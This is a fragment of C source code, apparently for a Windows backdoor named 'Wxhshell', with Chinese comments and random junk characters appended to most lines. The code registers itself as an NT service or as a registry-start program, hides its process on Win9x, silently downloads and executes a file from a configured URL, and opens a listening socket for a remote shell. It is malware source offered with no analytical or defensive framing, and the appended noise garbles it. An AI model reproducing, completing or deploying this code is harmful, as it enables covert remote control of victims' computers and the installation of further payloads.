DWORD PebBaseAddress; #+CH0Z
DWORD AffinityMask; X83,fCCl5
DWORD BasePriority; BoJpf8e'-e
ULONG UniqueProcessId; `Iwl\x[A
ULONG InheritedFromUniqueProcessId; g0({$2Q7R
} PROCESS_BASIC_INFORMATION; U]/iPG&_
+_E^E
PROCNTQSIP NtQueryInformationProcess; X~UrAG}_
~mBY_[_s=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |D*a"*1+A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -g n!8G1
3Z0ez?p+5
HANDLE hProcess; z)%Ke~)<\@
PROCESS_BASIC_INFORMATION pbi; \_io:{M
C b4.N8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8*zORz
if(NULL == hInst ) return 0; GJs{t1
E
._%8H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +{~cX]|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t,NE`LC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G*s5GG@Z.
d+qeZGg^A
if (!NtQueryInformationProcess) return 0; @`mr|-Rp@
!LR9}Xon
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Y"R@'~
if(!hProcess) return 0; FPb4VJ|xm
&3Y "Zd!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w`GjQIA
fQU5' wGp
CloseHandle(hProcess); %E8HLTEvl
_U|rTil
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5Lm-KohT'
if(hProcess==NULL) return 0; lb{X 6_.
&( ZEs c
HMODULE hMod; QsX`IYk
char procName[255]; Xv+!)j<
unsigned long cbNeeded; BN&eU'Dl]
Py`7)S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zr ~4@JTS
wG&Z7C b
CloseHandle(hProcess); Bx/)Sl@
/hur6yI8
if(strstr(procName,"services")) return 1; // 以服务启动 ')T*cLQ><
hwQrmVwvP
return 0; // 注册表启动 Cp?6vu|RA
} _'|C-j`u$
"r=p/"4D
// 主模块 aECpe'!m4
int StartWxhshell(LPSTR lpCmdLine) #Vhr1;j
{ Y
.E.(\
SOCKET wsl; [{0/'+;9
BOOL val=TRUE; } rX)A\ g6
int port=0; e<{waJ1
struct sockaddr_in door; usNq]
2eRv{_
if(wscfg.ws_autoins) Install(); %(S!/(LWW
RA!8AS?
port=atoi(lpCmdLine); _aU
:[v*!
iL<FFN~{
if(port<=0) port=wscfg.ws_port;
,
{}S<^?]
-
i{1h"
WSADATA data; /!_FE+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BC85#sbl
xouBBb=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cR&d=+R&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'JO}6
;W
door.sin_family = AF_INET; S"fqE%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); p
m<K6I
door.sin_port = htons(port); [B^V{nUBc
XM3~]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~iIFe+6
closesocket(wsl); *c(J4
return 1; 'X\C/8\
} 29W`L2L
.G}$jO}
if(listen(wsl,2) == INVALID_SOCKET) { qL$\[(
closesocket(wsl); ;[7#h8
return 1; uZP(-}
} ;p"#ZS7
Wxhshell(wsl); :2lM7|@/
WSACleanup(); PkOtg[Z
&!*p>Ns)e
return 0; >?{>
!#1
618bbftx{
} h m(
F3nPQw{;
// 以NT服务方式启动 '<wZe.Q!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3P*"$ fH
{ hAB:;r XlI
DWORD status = 0; ^izf&W.j!
DWORD specificError = 0xfffffff; ^56#{~%^?
Tt{ft?H71
serviceStatus.dwServiceType = SERVICE_WIN32; AVp"<Uv
serviceStatus.dwCurrentState = SERVICE_START_PENDING; v8THJf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,*wj~NE
serviceStatus.dwWin32ExitCode = 0; "; ?^gA
serviceStatus.dwServiceSpecificExitCode = 0; (k %0|%eR
serviceStatus.dwCheckPoint = 0; ?nozB|*>ut
serviceStatus.dwWaitHint = 0; <h~_7Dn
*%dWNvN4X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k= 9a/M
u
if (hServiceStatusHandle==0) return; n{E+r
>&|/4`HSB
status = GetLastError(); 68!=`49r>
if (status!=NO_ERROR) HTP~5J
{ L;'v,s
serviceStatus.dwCurrentState = SERVICE_STOPPED; GV
SVNT}I
serviceStatus.dwCheckPoint = 0; ":Pfi!9Wl
serviceStatus.dwWaitHint = 0; 1<f,>BQ+
serviceStatus.dwWin32ExitCode = status; [u8JqX
serviceStatus.dwServiceSpecificExitCode = specificError; 28o!>*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RTYhgq
return; |R>I#NO5
} oFS)3.
!%YV0O0
serviceStatus.dwCurrentState = SERVICE_RUNNING; K-7i4
~
serviceStatus.dwCheckPoint = 0; UyOoyyd.
serviceStatus.dwWaitHint = 0; t-w4rXvF
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
TGozoPV
} a EqDxr6
u}KEH@yv
// 处理NT服务事件,比如:启动、停止 Fy]j33E
VOID WINAPI NTServiceHandler(DWORD fdwControl) _qhYG1t
{ 4K$d%
switch(fdwControl) y:8Oc?
{ btU:=6
case SERVICE_CONTROL_STOP: 6Vc&g
serviceStatus.dwWin32ExitCode = 0; '|K408i
serviceStatus.dwCurrentState = SERVICE_STOPPED; Uzd\#edxJ
serviceStatus.dwCheckPoint = 0; g R)
)K)
serviceStatus.dwWaitHint = 0; +wg|~Lef h
{ . vQCX1V(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SgPvQ'\
} mGqT_
return; OO+QH 2j
case SERVICE_CONTROL_PAUSE: @I|gA
serviceStatus.dwCurrentState = SERVICE_PAUSED; qU,u(El
break; xA2"i2k9
case SERVICE_CONTROL_CONTINUE: GFBku^pi
serviceStatus.dwCurrentState = SERVICE_RUNNING; X
Sw0t8
break; -V)DKf"f
case SERVICE_CONTROL_INTERROGATE: IXef}%1N?
break; ')>&:~
}; myeez+@ m
SetServiceStatus(hServiceStatusHandle, &serviceStatus); vMV}M%~
} pT` oC&
.d>TU bR;
// 标准应用程序主函数 _]whHS+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f?A1=lm~
{ qx~-(|s`H
&z(E-w/S
// 获取操作系统版本 >ps=z$4j*
OsIsNt=GetOsVer(); &{c.JDO
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9I;d>%
{FU,om9
// 从命令行安装 9c@."O`
if(strpbrk(lpCmdLine,"iI")) Install(); ]l
WEdf+
tmJ-2
// 下载执行文件 M &g1'zv?/
if(wscfg.ws_downexe) { ;L458fYs
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E9IU,P6a
WinExec(wscfg.ws_filenam,SW_HIDE); V94eUmx>?+
} VNcxST15a
:Ej#qYi
if(!OsIsNt) {
z"n7du}v
// 如果时win9x,隐藏进程并且设置为注册表启动 u2G{I?
HideProc(); fvDt_g9 oI
StartWxhshell(lpCmdLine); `"/s," c:D
} ^"e|)4_5\
else 3S~Gi,
if(StartFromService()) 5QjM,"`mp
// 以服务方式启动 |KHaL?
StartServiceCtrlDispatcher(DispatchTable); 69{BJ]q
else j<-#a^jb
// 普通方式启动 dp3>G2Yq
StartWxhshell(lpCmdLine); =skw@c^
O"$uw
return 0; XvU^DEfW
}